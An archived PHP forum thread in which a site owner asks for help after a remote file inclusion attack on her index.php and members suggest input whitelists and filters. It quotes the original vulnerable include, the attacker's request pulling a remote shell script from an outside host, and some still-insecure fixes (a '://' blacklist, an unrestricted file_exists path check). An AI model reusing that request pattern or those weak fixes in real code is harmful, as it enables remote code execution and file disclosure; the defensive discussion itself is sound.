Jump to content

Hacked site through PHP?


salsa

Recommended Posts

Hi all! Please excuse me, I'm new, but desperate at the moment. It appears that someone is repeatedly hacking my site, and my host is blaming *me*. Or at least my "scripts." Except that there aren't any scripts on my site at all! But I think someone is using a vulnerability of PHP to hack my site.

Anyway, the php in the site is only for organization. There is really nothing to it. It serves up pages, keeps things in order. I've been through every page and can't find a thing wrong.

Below are the lines that my host is accusing as hacks. None of it is actually accessing files on my site, or at least I can't find any foreign files on my site. The common theme is index.php?z=http://someone's site.

Please help! I'm desperate!!!
Link to comment
Share on other sites

You're going to need to filter that input from your url. I'm guessing you have something like this:
[code]<?php
if(isset($_GET['z'])) {
    include $_GET['z'];
} else {
    include "default.php";
}
?>[/code]Its worth running a check on $_GET['z'], as it is possible to include remote scripts into your site, and then install malicious scripts on your server. At a minimum, run $_GET['z'] through an eregi()...
[code]<?php
if(isset($_GET['z']) && !eregi("://",$_GET['z'])) {
    include $_GET['z'];
} else {
    include "default.php";
}
?>[/code]This way it will prevent someone pointing to a different server, by rejecting file paths that include :// - E.g. [a href=\"http://somewhere.com/script.php\" target=\"_blank\"]http://somewhere.com/script.php[/a] or [a href=\"ftp://somewhereelse.com/script.php\" target=\"_blank\"]ftp://somewhereelse.com/script.php[/a]
Link to comment
Share on other sites

The first check I do in almost all of my scripts is to check any incoming parameters for known exploits... "content-type" in forms that generate email, "://" in any parameters where I'm not expecting that string. If I find them, I email the $_SERVER, $_POST, and $_GET arrays to myself and then use the header() function to issue a 404 error message. If the address where the attempt was done from is identifiable, I send a warning email to the abuse address at that site.

For more information explore the [a href=\"http://phpsec.org/\" target=\"_blank\"]PHP Security Consortium[/a] web site.

Ken
Link to comment
Share on other sites

if you want to filter _GET keys do this:
[code]
<?
$allowed_get_queries = array ("get1", "get2", etc...);

if (isset ($_GET) || is_array ($_GET))
{
  foreach ($_GET as $key => $value)
  {
    if (!in_array ($key, $allowed_get_queries))
    {
      $_GET[$key] == ""; // or die ("Unallowed HTTP_VAR");
    }
  }
}
?>
[/code]

I am assuming however that there is a script on the page which needs this.

[code]
<?
if (isset ($_GET) || is_array ($_GET))
{
  foreach ($_GET as $key => $value)
  {
    if (preg_match ("/:\/\//", $value))
    {
      $_GET[$key] == ""; // or perhaps die ("Unallowed");
    }
  }
}
?>
[/code]
Link to comment
Share on other sites

[!--quoteo(post=381743:date=Jun 8 2006, 10:04 PM:name=hvle)--][div class=\'quotetop\']QUOTE(hvle @ Jun 8 2006, 10:04 PM) [snapback]381743[/snapback][/div][div class=\'quotemain\'][!--quotec--]
how can we help you with a "index.php?z=http://someone's site"
[/quote]

Sorry, I tried to post the entire line they used, but the forum wouldn't let me do it.

Here is the code that is currently in my index.php. Is it possible that the hacker changed the page to have all the z stuff? I don't remember it being there before, I only remember the stuff that was @include('home.php'), etc.

<body>
<?php @include('top.php'); ?>
<div id="frame">
<div id="leftside"><?php @include('lside.php'); ?></div>
<div id="maintext">


<?php
$z=$_GET['z'];
if(!isset($z)) {
@include('home.php');
} else {
@include($z.'.php');
}
?>

</div>
<div id="rightside"><?php @include('rside.php'); ?></div>
</div></body></html>

I think the idea was originally that php would be used to serve the different sides of the page like includes. Do I need all the z stuff? How can I change this so it's not hackable? Ugggh, php looks like a foreign language to me.

This is what they used to exploit: (I don't know if it'll post properly but trying again).
"POST /index.php?z=http://ciberia.ya.com/jest3r/sep3.php? HTTP/1.0"
Link to comment
Share on other sites

[!--quoteo(post=381803:date=Jun 9 2006, 04:53 AM:name=kenrbnsn)--][div class=\'quotetop\']QUOTE(kenrbnsn @ Jun 9 2006, 04:53 AM) [snapback]381803[/snapback][/div][div class=\'quotemain\'][!--quotec--]
The first check I do in almost all of my scripts is to check any incoming parameters for known exploits... "content-type" in forms that generate email, "://" in any parameters where I'm not expecting that string. If I find them, I email the $_SERVER, $_POST, and $_GET arrays to myself and then use the header() function to issue a 404 error message. If the address where the attempt was done from is identifiable, I send a warning email to the abuse address at that site.

For more information explore the [a href=\"http://phpsec.org/\" target=\"_blank\"]PHP Security Consortium[/a] web site.

Ken
[/quote]

Is there any possibility you can write that out for someone who knows html & javascript? I'm sure there's great info in your words, I just don't understand them. Thanks!
Link to comment
Share on other sites

It appears as though the attacker was running a scriptkiddie-esqe panel of tools that allow them to view details about the server and the versions of everything running, view your php.ini file and run phpinfo(), browse around your directories and attempt to alter, delete and upload files to your server. Theres also some fields for attempting to connect and dump the contents of databases. Some IRC things, and theres a bunch of other stuff too. Looks like its tooled up for attacking *NIX based servers by the look at some of the commands that it's attempting to execute.

You can prevent stuff like this running within your site by making the alteration I (and kenrbnsn) suggested further up this thread. A JavaScript equivilent will [i]not[/i] work.
Link to comment
Share on other sites

[!--quoteo(post=381985:date=Jun 9 2006, 11:14 AM:name=SemiApocalyptic)--][div class=\'quotetop\']QUOTE(SemiApocalyptic @ Jun 9 2006, 11:14 AM) [snapback]381985[/snapback][/div][div class=\'quotemain\'][!--quotec--]
It appears as though the attacker was running a scriptkiddie-esqe panel of tools that allow them to view details about the server and the versions of everything running, view your php.ini file and run phpinfo(), browse around your directories and attempt to alter, delete and upload files to your server. Theres also some fields for attempting to connect and dump the contents of databases. Some IRC things, and theres a bunch of other stuff too. Looks like its tooled up for attacking *NIX based servers by the look at some of the commands that it's attempting to execute.

You can prevent stuff like this running within your site by making the alteration I (and kenrbnsn) suggested further up this thread. A JavaScript equivilent will [i]not[/i] work.
[/quote]

Great! Amazing you can tell that from a couple lines of code. I wasn't looking for a js equivalent, just trying to tell you that I really don't understand what I need to do to fix this. It looks like a foreign language to me.

Thanks for looking at it, anyway. Not sure how I'm going to fix it, or maybe just turn it all into straight html.
Link to comment
Share on other sites

foreign code...? js and php have pretty much the same syntax.

this really isn't that hard to implement. here's another example of pretty much the same thing that was already mentioned, with the code you provided above:

index.php
[code]
<body>
<?php @include('top.php'); ?>
<div id="frame">
<div id="leftside"><?php @include('lside.php'); ?></div>
<div id="maintext">

<?php
//put your files in here. just add more in if you have more than 3
$acceptablefiles = array('home.php','contact.php','register.php');

if ($_GET['z']) {
   foreach ($acceptablefiles as $val) {
      if ($val == $_GET['z']) {
         $zfile = $val;
      }
   }  
   if ($zfile) ? include ($zfile) : include('home.php');
} else {
   include ('home.php');
}
?>

</div>
<div id="rightside"><?php @include('rside.php'); ?></div>
</div></body></html>
[/code]
Link to comment
Share on other sites

It would probably be better to create a list of files allowed to be accessed similar to what joquius suggested. Remember that the script can also be exploited to access local files which could reveal sensitive information. So, looking only for includes designed to access remote files isn't restrictive enough.
[code]
$list = array('file1.php', 'file2.php');
if (FALSE === $key = array_search($_GET['z'], $list))
{
    $inc = 'default.php';
}
else
{
    $inc = $list[$key];

}
include ($inc);

?>
[/code]
You could also put all files that should be accessed in a specific directory. You'd then create the array $list with all the files in that directory. This would make it easier to add and remove files from the "access" list.

If you are completely unfamiliar with PHP, then you may want to start reading some of the tutorials on this site or a PHP book you have access to. That will make the suggestions given by the members more clear. If you'd rather not do that then perhaps you could ask the person that originally created the script for help.

A quick "fix" for the script would be to make the following changes. Note that the previous method is what I still suggest however.
[code]
<?php
$z=$_GET['z'];
if(!isset($z)) {
@include('home.php');
} else {
@include($z.'.php');
}
[/code]
to
[code]
<?php
$z=$_GET['z'];
if(!isset($z) || !preg_match('/^[a-z_]+$/i', $z)) {
@include('home.php');
} else {
@include($z.'.php');
}
[/code]
It's likely that your account has already been compromised. Which would mean that the attacker has already gained enough information and done the required things necessary to gain access to your system without the use of the script.

You'll want to change passwords and restore the site from a hopefully available backup (After making the necessary changes to "secure" the script) made some time before the attack occurred.

EDIT: Note that Crayon Violent's posted code is similar to what my first code snippet does. During the long reply I didn't see their post come in.
Link to comment
Share on other sites

Thanks! This is what is foreign to me: ("/:\/\//", $value))

But overall since there is only one page to be displayed as "home.php" I don't understand why I would need the whole z reference anyway? That's why it's so foreign to me. There is one top, one bottom, one left, one right, one home. They're all referenced in index.php, and the only file for the middle of the page is home.php. There is no z.php, which is why I thought maybe the hacker put that in there.

So my question to you all (after I thank you SO much for all the replacement code!!!) is, why do I need this at all? Why not just <?php @include('home.php'); ?> ? Why do I need to go to all the trouble of looking for a page that doesn't exist anyway?
Link to comment
Share on other sites

if you have your layout and you have a homepage, a contact page, a register page, etc.. and the content area for each page you have will be different, but the overall layout will remain the same (like menubars to the left, etc..) then you can just change that specific include. so when the user clicks on the "contact us" linkie it could refresh the page, only with the contact.php included in that area, instead of home. The idea of all that code (the code you already had) is to be able to display different files in that content area, not just home.php that's the purpose of that bit of code.

if all you will ever have there is home.php, and that's not supposed to change, then you DON'T need it. simply do it the same as your header and footers.

edit: so overall here, the person who wrote your script for you had the forethought to make it dynamic, in case you were gonna expand - bt not the forethought to make it secure.

and as far as $z - $z is how to write a variable in php. in js it's simply z.

Link to comment
Share on other sites

I think I'm starting to understand. I took a shot at the code below and got this:

Parse error: parse error, unexpected '?' in /homepages/25/d146129605/htdocs/index.php on line 34

and assume they're talking about this:
if ($zfile) ? include ($zfile) : include('home.php');

What do I do with the ? in the line? Or where do I go to start trying to figure out how to fix it? I assume long-term I'm going to have to learn php, but right now I'm just focused on not getting hacked again :-/

And, by the way, they *don't* by any stretch of the imagination, have the same syntax. I cannot for the life of me figure out what that line, or the line below it, is supposed to do. Call me stupid if you want, but it is *NOT* obvious to someone who is new at it.

I was able to get SemiApocalyptic's example to work, but it only serves the home page. There *is* a second page that has to be served, but the when you click on the second page, it shows the correct URL but the middle section is blank. If you click Home, the URL changes appropriately, but hte middle section is again blank.


[!--quoteo(post=382013:date=Jun 9 2006, 12:28 PM:name=Crayon Violent)--][div class=\'quotetop\']QUOTE(Crayon Violent @ Jun 9 2006, 12:28 PM) [snapback]382013[/snapback][/div][div class=\'quotemain\'][!--quotec--]
foreign code...? js and php have pretty much the same syntax.

this really isn't that hard to implement. here's another example of pretty much the same thing that was already mentioned, with the code you provided above:

index.php
[code]
<body>
<?php @include('top.php'); ?>
<div id="frame">
<div id="leftside"><?php @include('lside.php'); ?></div>
<div id="maintext">

<?php
//put your files in here. just add more in if you have more than 3
$acceptablefiles = array('home.php','contact.php','register.php');

if ($_GET['z']) {
   foreach ($acceptablefiles as $val) {
      if ($val == $_GET['z']) {
         $zfile = $val;
      }
   }  
   if ($zfile) ? include ($zfile) : include('home.php');
} else {
   include ('home.php');
}
?>

</div>
<div id="rightside"><?php @include('rside.php'); ?></div>
</div></body></html>
[/code]
[/quote]
Link to comment
Share on other sites

I'm going to write it like this for clarity:
[code]include($zfile ? $zfile : "home.php");[/code]

This is an example of a [i]ternary[/i] comparison - see [a href=\"http://www.php.net/manual/en/language.operators.comparison.php\" target=\"_blank\"]this page[/a].

In a ternary operation, the term before the ? is the [b]condition[/b], the term after the ? is what to return if the condition is [b]true[/b], and the term after the : is what to return if the condition is [b]false[/b].
Link to comment
Share on other sites

Thank you!!! Well, it still doesn't serve the second page, but I think that is because it's not serving the ".php" part. I will do some studying and will try to come up with code myself that tests for whether or not .php is included in the variable (and if not, appends it, of course).

I would like to add that I didn't mean for my earlier comment to sound snippy (when I reread it, it sounded like it could be), but I was frustrated with trying to read code that wasn't familiar to me. Sure, I could read it in general, but the syntax was not normal. So I would like you to know that I really, really appreciate the help, and especially the link to the help pages.

[img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /] [img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /] [img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /]
Link to comment
Share on other sites

Thanks for this thread. It opened my eyes to a few things.

I use switches to obtain pages, and always wondered if there were vunerabilities, I have never had issue, so never looked to hard.

However I have modified my switch to this
[code]
<?php
$allowable_page = array("register", "login", "welcome", "validate", "profile");
if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page))
{
    $page = $_GET['page'];

    switch($page)
    {
        case "register":
        include 'pages/register.php';
        break;
        case "login":
        include 'pages/login.php';
        break;
        case "welcome":
        include 'pages/welcome.php';
        break;
        case "validate":
        include 'pages/validate.php';
        break;
        case "profile":
        include 'pages/profile.php';
        break;
    }
}
else if (!isset($_GET['page']))
{
    include 'pages/p_index.php';
}
else
{
    print "It appears you are trying to do something you should not be doing. Shame on you!";
}

?>
[/code]

I had an issue with the default load page, untill I added the elseif !isset condition.


Thanks again
Josh
Link to comment
Share on other sites

if you want give me your host name, and I will call them and talk to them see if I can figure out some details, I am new at learnign the language, but I am working as security with a company now, on the side, and my MAIN study was security and performance, that is why I ask so much if you want, I can pour over your php.ini file and make sure they are at the secure default settings and check over the site to make sure it's all secure, and contact the host to get more information, I can probably do some to try and help make it more secure, it's worth an offer at least, let me know. I meant url of your hosting company by the way.
Link to comment
Share on other sites

Your codes are good but it lack some... i dont know...

if the site he is working on need a new page, he will need to change de code.

my code is simpler and you cant hack it, and still, any change wont need change into the code.

my suggestion, add the extention yourself! and THEN proceed for a file check... like this :

[code]if( isset( $_GET['z'] ) && file_exists( realpath(dirname(__FILE__)).$_GET['z'].'.php' ) ) {
    include(realpath(dirname(__FILE__)).$_GET['z'].'.php');
} else {
    include(realpath(dirname(__FILE__)).'home.php')
}[/code]it will check if there is a z, and if the file your are trying to reach really exist on your server, then so it will include it...

with this kind of coding, if you add a section... no need to add the section in the code... if the file exist... !

with this you are not restrain to the root of the website, you still can call other folder like : index.php?z=/foleder/fileinfolder

as long as the extention if not written in the GET... the wont even know where your files are called from!
Link to comment
Share on other sites

[b]homchz[/b] you don't need that switch statement. instead of this:
[code]
if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page))
{
    $page = $_GET['page'];

    switch($page)
    {
        case "register":
        include 'pages/register.php';
        break;
        case "login":
        include 'pages/login.php';
        break;
        case "welcome":
        include 'pages/welcome.php';
        break;
        case "validate":
        include 'pages/validate.php';
        break;
        case "profile":
        include 'pages/profile.php';
        break;
    }
}
[/code]
do this:
[code]
if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page))
{
    $page = $_GET['page'];
     include ("pages/".$page.".php");
}
[/code]
Link to comment
Share on other sites

[!--quoteo(post=382307:date=Jun 10 2006, 03:26 PM:name=Crayon Violent)--][div class=\'quotetop\']QUOTE(Crayon Violent @ Jun 10 2006, 03:26 PM) [snapback]382307[/snapback][/div][div class=\'quotemain\'][!--quotec--]
[b]homchz[/b] you don't need that switch statement. instead of this:
[code]
if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page))
{
    $page = $_GET['page'];

    switch($page)
    {
        case "register":
        include 'pages/register.php';
        break;
        case "login":
        include 'pages/login.php';
        break;
        case "welcome":
        include 'pages/welcome.php';
        break;
        case "validate":
        include 'pages/validate.php';
        break;
        case "profile":
        include 'pages/profile.php';
        break;
    }
}
[/code]
do this:
[code]
if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page))
{
    $page = $_GET['page'];
     include ("pages/".$page.".php");
}
[/code]
[/quote]

Thanks for that
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.